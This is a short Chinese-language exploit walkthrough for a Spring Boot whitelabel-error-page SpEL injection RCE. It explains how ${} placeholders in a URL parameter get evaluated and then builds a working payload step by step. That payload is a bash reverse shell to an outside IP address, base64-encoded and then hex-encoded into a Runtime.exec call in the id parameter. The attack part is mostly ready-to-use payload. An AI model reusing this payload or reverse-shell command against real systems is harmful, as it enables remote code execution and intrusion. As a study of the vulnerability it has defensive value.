漏洞原理
其漏洞点在于spring boot 处理参数值出错,流程进入 org.springframework.util.PropertyPlaceholderHelper 类中
此时 URL 中的参数值会用 parseStringValue 方法进行递归解析。
其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞。
漏洞复现
访问是经典spring boot 的白色界面
输入/article?id=${hi}验证漏洞存在
现在构造利用payload
第一步将反弹shell命令base64编码
bash -i >& /dev/tcp/47.242.48.160/666 0>&1 编码后:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4yNDIuNDguMTYwLzY2NiAwPiYx}|{base64,-d}|{bash,-i}
第二步拼接payload
article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{“这里写上面的命令,十六进制的”}))}
也就是0x62,0x61,0x73,0x68,0x20,0x2d,0x63,0x20,0x7b,0x65,0x63,0x68,0x6f,0x2c,0x59,0x6d,0x46,0x7a,0x61,0x43,0x41,0x74,0x61,0x53,0x41,0x2b,0x4a,0x69,0x41,0x76,0x5a,0x47,0x56,0x32,0x4c,0x33,0x52,0x6a,0x63,0x43,0x38,0x30,0x4e,0x79,0x34,0x79,0x4e,0x44,0x49,0x75,0x4e,0x44,0x67,0x75,0x4d,0x54,0x59,0x77,0x4c,0x7a,0x59,0x32,0x4e,0x69,0x41,0x77,0x50,0x69,0x59,0x78,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x65,0x36,0x34,0x2c,0x2d,0x64,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x68,0x2c,0x2d,0x69,0x7d
也就是
${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x62,0x61,0x73,0x68,0x20,0x2d,0x63,0x20,0x7b,0x65,0x63,0x68,0x6f,0x2c,0x59,0x6d,0x46,0x7a,0x61,0x43,0x41,0x74,0x61,0x53,0x41,0x2b,0x4a,0x69,0x41,0x76,0x5a,0x47,0x56,0x32,0x4c,0x33,0x52,0x6a,0x63,0x43,0x38,0x30,0x4e,0x79,0x34,0x79,0x4e,0x44,0x49,0x75,0x4e,0x44,0x67,0x75,0x4d,0x54,0x59,0x77,0x4c,0x7a,0x59,0x32,0x4e,0x69,0x41,0x77,0x50,0x69,0x59,0x78,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x65,0x36,0x34,0x2c,0x2d,0x64,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x68,0x2c,0x2d,0x69,0x7d}))}
反弹shell



这里写的是三个6 我监听6666死活连不上,哈哈哈,做这个还是要细心呐